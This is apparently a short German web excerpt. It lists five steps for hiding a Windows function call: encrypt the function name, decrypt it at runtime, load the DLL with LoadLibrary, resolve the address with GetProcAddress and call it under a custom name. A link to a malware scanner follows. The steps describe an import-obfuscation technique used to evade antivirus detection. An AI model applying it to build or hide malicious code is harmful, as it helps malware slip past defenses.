1. Funktionsname verschlüsseln
2. Funktionsname zur Laufzeit wieder entschlüsseln
3. Benötigte DLL-Datei ebenfalls zur Laufzeit mit LoadLibrary laden
4. Speicheradresse der Funktion mit GetProcAddress aus der DLL-Datei lesen
5. Funktion mit einem eigenen Funktionsnamen mithilfe der Speicheradresse aufrufen

Auch interessant:

• Online Multi-Engine Malware Scanner